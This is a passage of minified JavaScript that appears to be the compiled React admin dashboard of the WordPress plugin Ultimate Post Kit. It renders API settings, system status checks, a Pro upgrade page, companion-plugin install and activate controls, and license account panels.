r.json()}catch(e){l=null}if(!r.ok||!l||!l.success)throw new Error((0,_e.__)("Settings could not be saved. Reload the page and try again.","ultimate-post-kit"));return t.stored=a,a}(c),t={};Object.keys(c).forEach(a=>{var n;t[a]=String(null!==(n=e[a])&&void 0!==n?n:"")}),s(t),l((0,_e.__)("API settings saved.","ultimate-post-kit"))}catch(e){x(e),l(e.message,{tone:"error"})}finally{u(!1)}};return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("API Settings","ultimate-post-kit"),subtitle:(0,_e.__)("Connect the services the Mailchimp and Instagram widgets use.","ultimate-post-kit")}),(0,e.createElement)("div",{className:"flex flex-col gap-4"},p?(0,e.createElement)(Ht,{tone:"error"},p.message):null,(0,e.createElement)("div",{className:"grid grid-cols-3 max-[900px]:grid-cols-1 gap-[14px]"},(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-panel p-[18px]"},(0,e.createElement)("div",{className:"flex items-center gap-[9px]"},(0,e.createElement)("span",{className:"w-[34px] h-[34px] rounded-[10px] grid place-items-center bg-[#ecfdf3] text-[#1a7d3d] dark:bg-[#0f2318] dark:text-[#4ade80]"},(0,e.createElement)(We,{size:18})),(0,e.createElement)("span",{className:"text-[13px] font-bold text-[#6d6d74] dark:text-ink-muted"},(0,_e.__)("Connected","ultimate-post-kit"))),(0,e.createElement)("div",{className:"text-[30px] font-black tracking-[-.03em] text-[#0f1115] dark:text-ink-text mt-[10px]"},h,(0,e.createElement)("span",{className:"text-base font-bold text-[#6d6d74] dark:text-ink-muted"},` / ${k.length}`))),(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-panel p-[18px]"},(0,e.createElement)("div",{className:"flex items-center gap-[9px]"},(0,e.createElement)("span",{className:"w-[34px] h-[34px] rounded-[10px] grid place-items-center bg-[#eafaf1] text-brand dark:bg-[#0f2a1c]"},(0,e.createElement)(He,{size:18})),(0,e.createElement)("span",{className:"text-[13px] font-bold text-[#6d6d74] dark:text-ink-muted"},(0,_e.__)("Setup health","ultimate-post-kit"))),(0,e.createElement)("div",{className:"flex items-center gap-3 mt-[14px]"},(0,e.createElement)(yt,{percent:_,height:9,className:"flex-1"}),(0,e.createElement)("span",{className:"text-[15px] font-extrabold text-brand tabular-nums"},_,"%"))),(0,e.createElement)("div",{className:"rounded-panel p-[18px] text-white relative overflow-hidden [background:linear-gradient(135deg,#0a1912,#0f3a26)]"},(0,e.createElement)("div",{className:"absolute -top-10 -right-5 w-[150px] h-[150px] rounded-full [background:radial-gradient(circle,rgba(132,237,146,.25),transparent_65%)]"}),(0,e.createElement)("div",{className:"relative flex gap-3"},(0,e.createElement)(Je,{size:18,className:"flex-none text-[#86efac] mt-[2px]"}),(0,e.createElement)("div",null,(0,e.createElement)("div",{className:"text-xs font-bold text-white/60"},(0,_e.__)("Your keys stay here","ultimate-post-kit")),(0,e.createElement)("div",{className:"text-sm font-bold mt-[6px] leading-[1.4]"},(0,_e.__)("Keys are stored in your own database and only sent to the service they belong to.","ultimate-post-kit")))))),(0,e.createElement)("div",{className:"flex flex-col gap-3"},k.map(t=>(0,e.createElement)("div",{key:t.key,className:"bg-white dark:bg-ink-card border rounded-panel transition-colors "+("connected"===t.status?"border-[#c6f0d4] dark:border-[#1d4030]":"border-[#e9e9ed] dark:border-ink-border")},(0,e.createElement)("div",{className:"flex items-center gap-[15px] py-4 px-[18px] max-[640px]:flex-wrap"},(0,e.createElement)(La,{group:t}),(0,e.createElement)("div",{className:"flex-1 min-w-0"},(0,e.createElement)("div",{className:"flex items-center gap-2 flex-wrap"},(0,e.createElement)("span",{className:"text-[15px] font-bold text-[#1a1a1f] dark:text-ink-text"},t.label),(0,e.createElement)("span",{className:"text-[10px] font-extrabold text-[#6d6d74] bg-[#f4f4f6] dark:bg-ink-subtle dark:text-ink-muted py-[2px] px-2 rounded-full"},t.meta.category),(0,e.createElement)(Sa,{status:t.status})),(0,e.createElement)("div",{className:"flex items-center gap-[10px] flex-wrap mt-1 text-[12px] text-[#6d6d74] dark:text-ink-muted"},(0,e.createElement)("span",null,(0,_e.sprintf)(/* translators: 1: filled, 2: total fields */ /* translators: 1: filled, 2: total fields */
(0,_e.__)("%1$d / %2$d fields","ultimate-post-kit"),t.filled,t.inputs.length)),t.video_url?(0,e.createElement)("a",{href:t.video_url,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-1 font-semibold hover:text-brand"},(0,e.createElement)(ut,{size:13}),(0,_e.__)("Video guide","ultimate-post-kit")):null)),(0,e.createElement)("button",{type:"button",onClick:()=>f(t.key),className:"flex items-center gap-[7px] py-[9px] px-[15px] rounded-full text-[12.5px] font-bold flex-none border transition-all duration-150 "+("connected"===t.status?"bg-white dark:bg-ink-card border-[#e2e2e6] dark:border-ink-border text-[#3f3f46] dark:text-ink-text hover:border-brand hover:text-brand":"bg-brand border-brand text-white hover:opacity-90")},"connected"===t.status?(0,_e.__)("Configure","ultimate-post-kit"):(0,_e.__)("Connect","ultimate-post-kit")))))),(0,e.createElement)(Ia,{group:E,values:c,onChange:v,onClose:w,onSave:y,isDirty:g,isSaving:m}),(0,e.createElement)(Jt,{visible:g&&!E,saving:m,onSave:y,onReset:()=>d(o)})))}function Pa({check:t}){return(0,e.createElement)("div",{className:"flex items-center justify-between gap-6 py-[14px] px-7 max-[640px]:px-5 border-t border-[#f3f3f6] dark:border-ink-border transition-colors hover:bg-[#fbfbfd] dark:hover:bg-[#1a1f27]"},(0,e.createElement)("div",{className:"flex-1 min-w-0"},(0,e.createElement)("div",{className:"text-[14px] font-bold text-[#1a1a1f] dark:text-ink-text tracking-[-.01em]"},t.label),t.value&&(0,e.createElement)("div",{className:"text-[12.5px] text-[#6d6d74] dark:text-ink-muted mt-[2px]"},t.value),!t.pass&&t.recommendation&&(0,e.createElement)("div",{className:"text-[12.5px] font-medium text-[#b45309] dark:text-[#fdba74] mt-[3px]"},t.recommendation)),(0,e.createElement)(xa,{tone:t.pass?"success":"danger"},t.pass?(0,_e.__)("Pass","ultimate-post-kit"):(0,_e.__)("Fail","ultimate-post-kit")))}function Da({className:t="",children:a,...n}){return(0,e.createElement)("div",{className:`bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card shadow-resting ${t}`,...n},a)}function Ta({icon:t,iconClassName:a="bg-[#eafaf1] text-brand dark:bg-[#0f2a1c]",title:n,count:r,actions:l,className:i="",children:o}){return(0,e.createElement)(Da,{className:`overflow-hidden ${i}`},(0,e.createElement)("div",{className:"flex items-center gap-3 py-[18px] px-7 max-[640px]:px-5"},t?(0,e.createElement)("span",{className:`w-[38px] h-[38px] rounded-tile flex-none grid place-items-center ${a}`},(0,e.createElement)(t,{size:20})):null,(0,e.createElement)("span",{className:"text-base font-extrabold text-[#0f1115] dark:text-ink-text tracking-[-.01em]"},n),void 0!==r?(0,e.createElement)("span",{className:"text-[11px] font-extrabold text-[#6d6d74] dark:text-ink-muted bg-[#f4f4f6] dark:bg-ink-subtle py-[3px] px-[9px] rounded-full"},r):null,l?(0,e.createElement)("span",{className:"ml-auto flex items-center gap-2"},l):null),o)}const Aa=Da;function Ua(e){const t=we(e).filter(e=>!e.is_locked&&!1!==e.plugin_active);return{active:t.filter(e=>e.enabled).length,total:t.length}}function Ra({title:t,active:a,total:n}){return(0,e.createElement)(Aa,{className:"p-5"},(0,e.createElement)("div",{className:"text-[12.5px] font-bold text-[#6c6c75] dark:text-ink-muted"},t),(0,e.createElement)("div",{className:"flex items-baseline gap-2 mt-2"},(0,e.createElement)("span",{className:"text-[34px] font-black tracking-[-.03em] text-[#0f1115] dark:text-ink-text"},a),(0,e.createElement)("span",{className:"text-[12.5px] font-semibold text-[#6d6d74] dark:text-ink-muted"},(0,_e.sprintf)(/* translators: %d: total count */ /* translators: %d: total count */
(0,_e.__)("of %d active","ultimate-post-kit"),n))))}function Oa({label:t,value:a}){return(0,e.createElement)("div",{className:"flex items-center justify-between gap-6 py-[13px] px-7 max-[640px]:px-5 border-t border-[#f3f3f6] dark:border-ink-border"},(0,e.createElement)("span",{className:"text-[13.5px] font-bold text-[#1a1a1f] dark:text-ink-text"},t),(0,e.createElement)("span",{className:"font-mono text-[12.5px] text-[#6c6c75] dark:text-ink-muted text-right break-all"},a))}function $a(){const t=(Array.isArray(ye.system)?ye.system:[]).map(e=>({...e,value:e.value?`${(0,_e.__)("Currently:","ultimate-post-kit")} ${e.value}`:"",recommendation:e.hint})),a=t.filter(e=>!e.pass).length,n=ye.environment||{},r=Ua("ultimate_post_kit_active_modules"),l=Ua("ultimate_post_kit_elementor_extend"),i=Ua("ultimate_post_kit_other_settings");return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("System Status","ultimate-post-kit"),subtitle:(0,_e.__)("Server requirements and environment overview.","ultimate-post-kit")}),(0,e.createElement)("div",{className:"flex flex-col gap-4"},a>0?(0,e.createElement)(Ht,{tone:"warning"},(0,_e.sprintf)(/* translators: %d: number of failed checks */ /* translators: %d: number of failed checks */
(0,_e.__)("%d requirement(s) need attention.","ultimate-post-kit"),a)):null,(0,e.createElement)("div",{className:"grid grid-cols-3 max-[900px]:grid-cols-1 gap-3"},(0,e.createElement)(Ra,{title:(0,_e.__)("Core widgets","ultimate-post-kit"),active:r.active,total:r.total}),(0,e.createElement)(Ra,{title:(0,_e.__)("Extensions","ultimate-post-kit"),active:l.active,total:l.total}),(0,e.createElement)(Ra,{title:(0,_e.__)("Features","ultimate-post-kit"),active:i.active,total:i.total})),(0,e.createElement)(Ta,{icon:He,title:(0,_e.__)("System requirements","ultimate-post-kit"),count:t.length},t.map(t=>(0,e.createElement)(Pa,{key:t.id,check:t})),(0,e.createElement)("p",{className:"text-[12.5px] text-[#6d6d74] dark:text-ink-muted py-3 px-7 max-[640px]:px-5 border-t border-[#f3f3f6] dark:border-ink-border m-0"},(0,_e.__)("If you run several Elementor add-ons alongside Ultimate Post Kit, you may need to allocate more memory.","ultimate-post-kit"))),(0,e.createElement)(Ta,{icon:Ve,iconClassName:"bg-[#f3f0ff] text-[#8b5cf6] dark:bg-[#241d3a]",title:(0,_e.__)("Environment","ultimate-post-kit")},n.wp_version?(0,e.createElement)(Oa,{label:(0,_e.__)("WordPress","ultimate-post-kit"),value:n.wp_version}):null,(0,e.createElement)(Oa,{label:ye.title||"Ultimate Post Kit",value:ye.version}),n.php_version?(0,e.createElement)(Oa,{label:(0,_e.__)("PHP","ultimate-post-kit"),value:n.php_version}):null,n.server?(0,e.createElement)(Oa,{label:(0,_e.__)("Server","ultimate-post-kit"),value:n.server}):null,n.language?(0,e.createElement)(Oa,{label:(0,_e.__)("Language","ultimate-post-kit"),value:n.language}):null)))}function Fa({panel:a}){const n=(0,t.useRef)(null),[r,l]=(0,t.useState)(!1);return(0,t.useLayoutEffect)(()=>{const e=n.current,t=function(e){const t=document.getElementById("upk-admin-panels");return t&&Array.from(t.children).find(t=>t.getAttribute("data-upk-panel")===e)||null}(a.id),r=document.getElementById("upk-admin-panels");if(e&&t&&r)return l(!1),e.appendChild(t),window.requestAnimationFrame(()=>function(e){e.querySelectorAll(".CodeMirror").forEach(e=>{e.CodeMirror&&"function"==typeof e.CodeMirror.refresh&&e.CodeMirror.refresh()}),window.jQuery&&window.jQuery(e).trigger("shown"),window.dispatchEvent(new window.Event("resize"))}(t)),()=>{r.appendChild(t)};l(!0)},[a.id]),(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:a.title}),(0,e.createElement)("div",{className:"upk-admin-panel-host bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-6 max-[640px]:p-4 overflow-x-auto"},(0,e.createElement)("div",{ref:n}),r?(0,e.createElement)(Qt,{title:(0,_e.__)("This panel could not be loaded. Reload the page and try again.","ultimate-post-kit")}):null))}function Wa(){const t=[...we("ultimate_post_kit_active_modules"),...we("ultimate_post_kit_elementor_extend")].filter(e=>"pro"===e.widget_type),a=[{icon:Ie,accent:"blue",title:(0,_e.__)("Every Pro widget","ultimate-post-kit"),sub:(0,_e.__)("Unlock all the grids, lists, carousels and sliders marked PRO in your widget list.","ultimate-post-kit")},{icon:tt,accent:"rose",title:(0,_e.__)("Template Builder","ultimate-post-kit"),sub:(0,_e.__)("Design single post, archive and author templates with Elementor.","ultimate-post-kit")},{icon:Fe,accent:"amber",title:(0,_e.__)("Dynamic Content & MultiColor","ultimate-post-kit"),sub:(0,_e.__)("Fill widgets with live WordPress data and color every item its own way.","ultimate-post-kit")},{icon:Ve,accent:"violet",title:(0,_e.__)("Custom CSS & JS","ultimate-post-kit"),sub:(0,_e.__)("Inject site-wide code with page exclusions.","ultimate-post-kit")},{icon:Ae,accent:"woo",title:(0,_e.__)("White label","ultimate-post-kit"),sub:(0,_e.__)("Rebrand the plugin for client sites.","ultimate-post-kit")},{icon:Ke,accent:"green",title:(0,_e.__)("Rollback & premium support","ultimate-post-kit"),sub:(0,_e.__)("Restore a previous version and get priority help.","ultimate-post-kit")}];return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("Ultimate Post Kit Pro","ultimate-post-kit"),subtitle:(0,_e.__)("Everything in the free version, plus the features below.","ultimate-post-kit")}),(0,e.createElement)("div",{className:"rounded-card p-8 max-[640px]:p-5 relative overflow-hidden text-white [background:linear-gradient(135deg,#0a1912,#0f3a26)]"},(0,e.createElement)("div",{className:"absolute inset-0 pointer-events-none [background:radial-gradient(circle_at_85%_0%,rgba(8,201,114,.35),transparent_55%)]"}),(0,e.createElement)("div",{className:"relative max-w-[640px]"},(0,e.createElement)("div",{className:"text-[12px] font-bold tracking-[.12em] uppercase text-[#86efac]"},(0,_e.__)("Upgrade","ultimate-post-kit")),(0,e.createElement)("div",{className:"text-[26px] font-extrabold mt-2 tracking-[-.02em]"},(0,_e.__)("Create your sleek website with Ultimate Post Kit Pro","ultimate-post-kit")),(0,e.createElement)("p",{className:"text-[14px] text-white/75 mt-3 leading-[1.6]"},t.length?`${t.length} ${(0,_e.__)("Pro widgets and extensions, plus the tools that news, magazine and blog sites need.","ultimate-post-kit")}`:(0,_e.__)("Pro widgets and extensions, plus the tools that news, magazine and blog sites need.","ultimate-post-kit")),(0,e.createElement)("div",{className:"flex flex-wrap gap-3 mt-6"},(0,e.createElement)("a",{href:ye.getProUrl,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-2 bg-gradient-brand text-white py-3 px-6 rounded-full text-[14px] font-extrabold shadow-glow hover:-translate-y-px transition-all"},(0,e.createElement)(Fe,{size:15}),(0,_e.__)("Get Premium at 30% OFF","ultimate-post-kit")),(0,e.createElement)("a",{href:ye.pricingUrl,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-2 bg-white/[.12] border border-white/[.2] text-white py-3 px-6 rounded-full text-[14px] font-bold hover:bg-white/20 transition-colors"},(0,_e.__)("Compare Free vs Pro","ultimate-post-kit"),(0,e.createElement)(Be,{size:13}))))),(0,e.createElement)("div",{className:"grid grid-cols-3 max-[1024px]:grid-cols-2 max-[640px]:grid-cols-1 gap-4 mt-4"},a.map(t=>(0,e.createElement)("div",{key:t.title,className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5"},(0,e.createElement)(Et,{icon:t.icon,accent:t.accent,size:"xl"}),(0,e.createElement)("div",{className:"text-[15px] font-extrabold text-[#0f1115] dark:text-ink-text mt-3 flex items-center gap-2"},(0,e.createElement)(We,{size:14,className:"text-[#1a7d3d] dark:text-[#4ade80]"}),t.title),(0,e.createElement)("p",{className:"text-[13px] text-[#6c6c75] dark:text-ink-muted mt-1 leading-[1.55]"},t.sub)))))}function Ya({full:t=!1,label:a}){return(0,e.createElement)("div",{className:"flex flex-col items-center justify-center gap-3 "+(t?"min-h-[320px]":"py-6")},(0,e.createElement)("span",{className:"w-8 h-8 rounded-full border-[3px] border-[#e4e7ec] dark:border-ink-border border-t-brand animate-upk-spin"}),a?(0,e.createElement)("span",{className:"text-[13px] font-semibold text-[#6c6c75] dark:text-ink-muted"},a):null)}function Ga(e){try{const t=new window.URL(String(e||""),window.location.href);return"https:"===t.protocol||"http:"===t.protocol?t.href:""}catch(e){return""}}function Ba(e){const t=String(e||"");return t.split(/\s[–—-]\s|:\s/)[0].trim()||t}async function Ha(e,t){const a=new window.FormData;a.append("action",e),Object.keys(t).forEach(e=>a.append(e,t[e]));const n=await window.fetch(ye.ajaxUrl,{method:"POST",credentials:"same-origin",body:a});let r=null;try{r=await n.json()}catch(e){r=null}if(!r||!r.success)throw new Error(r&&r.data&&r.data.message||(0,_e.__)("Something went wrong. Reload the page and try again.","ultimate-post-kit"));return r.data||{}}function Ja({icon:a,slug:n}){const[r,l]=(0,t.useState)(!1),i=Ga(a);return i&&!r?(0,e.createElement)("img",{src:i,alt:"",width:"48",height:"48",onError:()=>l(!0),className:"w-12 h-12 rounded-tile flex-none object-cover"}):(0,e.createElement)("span",{className:`w-12 h-12 rounded-tile flex-none grid place-items-center ${kt(n)}`,"aria-hidden":"true"},(0,e.createElement)(ze,{size:22}))}const Qa={active:{tone:"success",label:(0,_e.__)("Active","ultimate-post-kit")},installed:{tone:"info",label:(0,_e.__)("Installed","ultimate-post-kit")},not_installed:{tone:"neutral",label:(0,_e.__)("Not installed","ultimate-post-kit")}};function Za(){const a=ye.plugins||{},n=Vt(),[r,l]=(0,t.useState)(null),[i,o]=(0,t.useState)(""),[s,c]=(0,t.useState)(""),[d,m]=(0,t.useState)({slug:"",action:""}),u=(0,t.useCallback)(async()=>{c("");try{const e=await Ha("upk_get_plugins",{nonce:a.nonce||""});if(e.loading)return o(e.message||(0,_e.__)("Fetching latest plugin data…","ultimate-post-kit")),void window.setTimeout(u,3e3);o(""),l((e.plugins||[]).filter(e=>"ultimate-post-kit"!==e.slug))}catch(e){c(e.message),l(e=>e||[])}},[a.nonce]);return(0,t.useEffect)(()=>{u()},[u]),(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("Other Plugins","ultimate-post-kit"),subtitle:(0,_e.__)("Install companion plugins from BdThemes to extend your stack.","ultimate-post-kit")}),null!==r||s?(0,e.createElement)("div",{className:"flex flex-col gap-4"},i?(0,e.createElement)(Ht,{tone:"info"},i):null,s?(0,e.createElement)(Ht,{tone:"error",onDismiss:()=>c("")},s):null,r&&0!==r.length?(0,e.createElement)("div",{className:"grid grid-cols-3 max-[1280px]:grid-cols-2 max-[760px]:grid-cols-1 gap-3"},r.map(t=>{const r=Qa[t.status]||Qa.not_installed,l=Ga(t.homepage),i=d.slug===t.slug;return(0,e.createElement)(Aa,{key:t.slug,className:"group p-5 flex flex-col gap-3 transition-all duration-200 hover:border-[#bfeccf] dark:hover:border-[#1f5a3a] hover:shadow-[0_10px_24px_-14px_rgba(8,201,114,.35)] hover:-translate-y-[2px]"},(0,e.createElement)("div",{className:"flex items-center gap-3"},(0,e.createElement)(Ja,{icon:t.logo,slug:t.slug}),(0,e.createElement)("div",{className:"min-w-0"},(0,e.createElement)("h2",{className:"m-0 text-[15px] font-extrabold text-[#0f1115] dark:text-ink-text tracking-[-.01em] truncate transition-colors group-hover:text-brand"},l?(0,e.createElement)("a",{href:l,target:"_blank",rel:"noreferrer",className:"text-inherit hover:underline"},Ba(t.name)):Ba(t.name)),t.version?(0,e.createElement)("span",{className:"text-[12px] font-semibold text-[#6d6d74] dark:text-ink-muted"},`v${t.version}`):null)),t.description?(0,e.createElement)("p",{className:"m-0 text-[13px] leading-relaxed text-[#6c6c75] dark:text-ink-muted flex-1 overflow-hidden [display:-webkit-box] [-webkit-line-clamp:3] [-webkit-box-orient:vertical]"},t.description):null,(0,e.createElement)("div",{className:"flex items-center gap-2 flex-wrap pt-3 mt-auto border-t border-[#f3f3f6] dark:border-ink-border"},(0,e.createElement)(xa,{tone:r.tone},r.label),(0,e.createElement)("span",{className:"ml-auto flex items-center gap-2"},"not_installed"===t.status&&a.canInstall?(0,e.createElement)(ha,{variant:"gradient",size:"sm",disabled:!!d.slug,onClick:()=>(async e=>{m({slug:e.slug,action:"install"});try{const t=await Ha("upk_install_plugin",{plugin_slug:e.slug,nonce:a.installNonce||""});n(t.message||(0,_e.__)("Plugin installed.","ultimate-post-kit")),await u()}catch(e){n(e.message,{tone:"error"})}finally{m({slug:"",action:""})}})(t)},i&&"install"===d.action?(0,_e.__)("Installing…","ultimate-post-kit"):(0,_e.__)("Install","ultimate-post-kit")):null,"installed"===t.status&&a.canActivate&&t.plugin_file&&t.activate_nonce?(0,e.createElement)(ha,{variant:"outline",size:"sm",disabled:!!d.slug,onClick:()=>(async e=>{m({slug:e.slug,action:"activate"});try{const t=`${ye.adminUrl}plugins.php?action=activate&plugin=${encodeURIComponent(e.plugin_file)}&_wpnonce=${encodeURIComponent(e.activate_nonce)}`;if(!(await window.fetch(t,{credentials:"same-origin"})).ok)throw new Error((0,_e.__)("The plugin could not be activated.","ultimate-post-kit"));n((0,_e.__)("Plugin activated.","ultimate-post-kit")),await u()}catch(e){n(e.message,{tone:"error"})}finally{m({slug:"",action:""})}})(t)},i&&"activate"===d.action?(0,_e.__)("Activating…","ultimate-post-kit"):(0,_e.__)("Activate","ultimate-post-kit")):null,l?(0,e.createElement)("a",{href:l,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-1 text-[13px] font-bold text-brand hover:underline"},(0,_e.__)("Details","ultimate-post-kit"),(0,e.createElement)(Be,{size:13})):null)))})):(0,e.createElement)(Qt,{title:(0,_e.__)("No plugins available","ultimate-post-kit"),description:(0,_e.__)("Try again in a moment.","ultimate-post-kit"),action:(0,e.createElement)(ha,{variant:"outline",onClick:u},(0,_e.__)("Retry","ultimate-post-kit"))})):(0,e.createElement)(Ya,{full:!0,label:i||(0,_e.__)("Loading plugins…","ultimate-post-kit")}))}const Va="w-full py-[10px] px-[14px] border border-[#e2e2e6] dark:border-[#2a313c] rounded-btn text-sm bg-white dark:bg-ink-card text-[#18181b] dark:text-ink-text outline-none placeholder:text-[#6d6d74] dark:placeholder:text-ink-muted focus:border-brand focus:shadow-[0_0_0_3px_rgba(8,201,114,.15)]",Ka="inline-flex items-center gap-[7px] bg-white/10 border border-white/20 text-white py-[9px] px-[18px] rounded-full text-[13px] font-semibold cursor-pointer transition-colors hover:bg-white/20 disabled:opacity-50 disabled:cursor-not-allowed",Xa="rounded-card p-[22px] border border-[#fde0d0] dark:border-ink-border [background:linear-gradient(135deg,#eafaf1,#ecfdf3)] dark:[background:linear-gradient(135deg,#0f2a1c,#0f2318)]",qa="block text-center w-full bg-white dark:bg-ink-card border border-[#fde0d0] dark:border-ink-border text-brand py-[10px] rounded-full text-[13px] font-bold cursor-pointer transition-colors hover:bg-brand hover:text-white",en="w-6 h-6 rounded-full flex-none grid place-items-center bg-[#eafaf1] text-brand dark:bg-[#0f2a1c] text-[11.5px] font-extrabold",tn="text-[13px] leading-[1.55] text-[#3f3f46] dark:text-[#cdd0d6]";function an(){return ye.title||"Ultimate Post Kit"}function nn({form:t,action:a}){return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("input",{type:"hidden",name:"action",value:a}),(0,e.createElement)("input",{type:"hidden",name:t.nonce_field||"_wpnonce",value:t.nonce||""}),t.referer?(0,e.createElement)("input",{type:"hidden",name:t.referer_field||"_wp_http_referer",value:t.referer}):null)}function rn({label:t,value:a}){return(0,e.createElement)("div",null,(0,e.createElement)("div",{className:"text-[11px] font-semibold text-white/50"},t),(0,e.createElement)("div",{className:"text-base font-bold mt-[3px]"},a))}function ln({data:t}){return!1!==t.white_label_eligible?null:(0,e.createElement)(Aa,{className:"p-5"},(0,e.createElement)("div",{className:"flex items-center gap-3 mb-3"},(0,e.createElement)("span",{className:"w-[38px] h-[38px] rounded-tile flex-none grid place-items-center bg-[#f5f0fb] text-[#7f54b3] dark:text-[#c4a5ec] dark:bg-[#241d3a]"},(0,e.createElement)(at,{size:20})),(0,e.createElement)("div",{className:"text-base font-extrabold text-[#0f1115] dark:text-ink-text"},(0,_e.__)("Unlock White Label","ultimate-post-kit"))),(0,e.createElement)("p",{className:"text-[12.5px] text-[#6c6c75] dark:text-ink-muted m-0 mb-4 leading-[1.55]"},(0,_e.__)("Rebrand Ultimate Post Kit for your clients — custom name, logo and hidden branding. Available on Agency, Extended, Developer and other eligible licenses.","ultimate-post-kit")),(0,e.createElement)("a",{href:t.links?.pricing,target:"_blank",rel:"noreferrer",className:"block text-center w-full bg-white dark:bg-ink-card border border-[#e2d9f3] dark:border-ink-border text-[#7f54b3] dark:text-[#c4a5ec] py-[10px] rounded-full text-[13px] font-bold cursor-pointer transition-colors hover:bg-[#7f54b3] hover:text-white"},(0,_e.__)("Upgrade license","ultimate-post-kit")))}function on({data:t}){const a=(t.email||"E").charAt(0).toUpperCase();return(0,e.createElement)("div",{className:"flex flex-col gap-4"},(0,e.createElement)(Aa,{className:"p-5"},(0,e.createElement)("div",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text mb-[14px]"},(0,_e.__)("Account","ultimate-post-kit")),(0,e.createElement)("div",{className:"flex items-center gap-3"},(0,e.createElement)("div",{className:"w-[46px] h-[46px] rounded-full bg-gradient-brand grid place-items-center text-white text-lg font-bold"},a),(0,e.createElement)("div",{className:"min-w-0"},t.license_title?(0,e.createElement)("div",{className:"text-sm font-semibold text-[#27272a] dark:text-ink-text"},t.license_title):null,t.email?(0,e.createElement)("div",{className:"text-[12.5px] text-[#6d6d74] dark:text-ink-muted break-all"},t.email):null)),(0,e.createElement)("a",{href:t.links?.account,target:"_blank",rel:"noreferrer",className:"block text-center w-full mt-4 bg-[#f4f6f9] dark:bg-ink-subtle border border-[#e6e8ec] dark:border-ink-border text-[#3f3f46] dark:text-ink-text py-[10px] rounded-full text-[13px] font-semibold cursor-pointer transition-colors hover:border-brand hover:text-brand"},(0,_e.__)("Manage on bdthemes.com","ultimate-post-kit"))),(0,e.createElement)(ln,{data:t}),ye.isPro?(0,e.createElement)("div",{className:Xa},(0,e.createElement)("div",{className:"w-[42px] h-[42px] rounded-[12px] bg-gradient-brand grid place-items-center text-white mb-[14px]"},(0,e.createElement)(ot,{size:22})),(0,e.createElement)("div",{className:"text-base font-bold text-[#18181b] dark:text-ink-text"},(0,_e.__)("You're on the Pro plan","ultimate-post-kit")),(0,e.createElement)("p",{className:"text-[12.5px] text-[#52525b] dark:text-ink-muted mt-[6px] mb-4 leading-[1.55]"},(0,_e.__)("Updates, priority support and every future widget — already yours.","ultimate-post-kit")),(0,e.createElement)("a",{href:t.links?.account,target:"_blank",rel:"noreferrer",className:qa},(0,_e.__)("Manage subscription","ultimate-post-kit"))):(0,e.createElement)("div",{className:Xa},(0,e.createElement)("div",{className:"w-[42px] h-[42px] rounded-[12px] bg-gradient-brand grid place-items-center text-white mb-[14px]"},(0,e.createElement)(ot,{size:22})),(0,e.createElement)("div",{className:"text-base font-bold text-[#18181b] dark:text-ink-text"},(0,_e.__)("Go further with Pro","ultimate-post-kit")),(0,e.createElement)("p",{className:"text-[12.5px] text-[#52525b] dark:text-ink-muted mt-[6px] mb-4 leading-[1.55]"},(0,_e.__)("Unlock every widget, feature and premium support.","ultimate-post-kit")),(0,e.createElement)("a",{href:t.links?.pricing||ye.pricingUrl,target:"_blank",rel:"noreferrer",className:qa},(0,_e.__)("View pricing","ultimate-post-kit"))))}function sn({label:t,description:a,edited:n=!1,children:r,stacked:l=!1}){return(0,e.createElement)("div",{className:(l?"flex flex-col gap-3":"flex flex-wrap items-center justify-between gap-x-6 gap-y-3")+" py-[18px] px-7 max-[640px]:px-5 border-t border-[#f3f3f6] dark:border-ink-border transition-colors hover:bg-[#fbfbfd] dark:hover:bg-[#1a1f27]"},(0,e.createElement)("div",{className:"flex-1 min-w-[200px]"},(0,e.createElement)("div",{className:"flex items-center gap-[9px]"},(0,e.createElement)("span",{className:"text-[15.5px] font-bold text-[#1a1a1f] dark:text-ink-text tracking-[-.01em]"},t),n?(0,e.createElement)("span",{className:"text-[9.5px] font-extrabold tracking-[.05em] text-[#b45309] bg-[#fff7ed] dark:bg-[#2a1c0e] py-[2px] px-[7px] rounded-full"},(0,_e.__)("EDITED","ultimate-post-kit")):null),a?(0,e.createElement)("div",{className:"upk-rich-desc text-[13px] text-[#6d6d74] dark:text-ink-muted mt-[3px]"},a):null),r?(0,e.createElement)("div",{className:l?"":"flex-none"},r):null)}function cn({size:t=18,strokeWidth:a=2,children:n,...r}){return(0,e.createElement)("svg",{width:t,height:t,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:a,strokeLinecap:"round",strokeLinejoin:"round","aria-hidden":"true",...r},n)}const dn=t=>cn({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("polyline",{points:"3 6 5 6 21 6"}),(0,e.createElement)("path",{d:"M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"}))}),mn=t=>cn({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"}),(0,e.createElement)("polyline",{points:"17 8 12 3 7 8"}),(0,e.createElement)("line",{x1:"12",y1:"3",x2:"12",y2:"15"}))}),un=({size:t=12,...a})=>(0,e.createElement)("svg",{width:t,height:t,viewBox:"0 0 230.7 